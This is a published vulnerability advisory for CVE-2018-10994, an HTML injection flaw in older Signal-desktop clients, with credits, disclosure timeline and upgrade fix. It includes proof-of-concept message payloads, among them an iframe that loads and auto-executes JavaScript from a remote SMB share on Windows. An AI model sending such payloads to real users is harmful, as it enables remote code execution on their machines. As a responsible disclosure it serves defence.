Title: HTML tag injection in Signal-desktop Date Published: 14-05-2018 CVE Name: CVE-2018-10994 Class: Code injection Remotely Exploitable: Yes Locally Exploitable: No Vendors contacted: Signal.org Vulnerability Description: Signal-desktop is the standalone desktop version of the secure Signal messenger. This software is vulnerable to remote code execution from a malicious contact, by sending a specially crafted message containing HTML code that is injected into the chat windows (Cross-site scripting). Vulnerable Packages: Signal-desktop messenger v1.7.1 Signal-desktop messenger v1.8.0 Signal-desktop messenger v1.9.0 Signal-desktop messenger v1.10.0 Solution/Vendor Information/Workaround Upgrade to Signal-desktop messenger v1.10.1, v1.11.0-beta.3. Credits: This vulnerability was found and researched by: IvA!n Ariel Barrera Oro (@HacKanCuBa), Alfredo Ortega (@ortegaalfredo) and Juliano Rizzo (@julianor), with assistance from Javier Lorenzo Carlos Smaldone (@mis2centavos). Technical Description - Exploit/Concept Code 12345678901234567890123456789012345678901234567890123456789012345678901234567890 While discussing a XSS vulnerability on a website using the Signal-desktop messenger, it was found that the messenger software also displayed a code-injection vulnerability while parsing the affected URLs. The Signal-desktop software fails to sanitize specific html-encoded HTML tags that can be used to inject HTML code into remote chat windows. Specifically the <img> and <iframe> tags can be used to include remote or local resources. For example, the use of iframes enables full code execution, allowing an attacker to download/upload files, information, etc. The <script> tag was also found injectable. In the Windows operative system, the CSP fails to prevent remote inclusion of resources via the SMB protocol. In this case, remote execution of JavaScript can be achieved by referencing the script in a SMB share as the source of an iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html>. The included javascript code is then executed automatically, without any interaction needed from the user. The vulnerability can be triggered in the Signal-Desktop client by sending a specially crafted message. Example messages: Show an iframe with some text: http://hacktheplanet/?p=%3Ciframe%20srcdoc="<p>PWONED!!</p>"%3E%3C/iframe%3E Show a base64-encoded image (bypass "click to download image"): http://hacktheplanet/?p=%3Cimg%20src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZkE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFFJIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7OST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpKVXZPusR9DSZPrS7j6mv/2Q=="%3e Include and auto-execute a remote JavaScript file (for Windows clients): http://hacktheplanet/?p=%3d%3Ciframe%20src=\\XXX.XXX.XXX.XXX\Temp\test.html%3E Timeline: * 2018-05-10 18:45 GMT-3: vuln discovered * 2018-05-11 13:03 GMT-3: emailed Signal security team * 2018-05-11 15:02 GMT-3: reply from Signal: vuln confirmed & patch ongoing * 2018-05-11 16:12 GMT-3: patch committed * 2018-05-11 18:00 GMT-3: signal-desktop update published * 2018-05-14 18:00 GMT-3: public disclosure References: * Patch: https://github.com/signalapp/Signal-Desktop/compare/v1.11.0-beta.2...v1.11.0-beta.3 * Writeup: https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/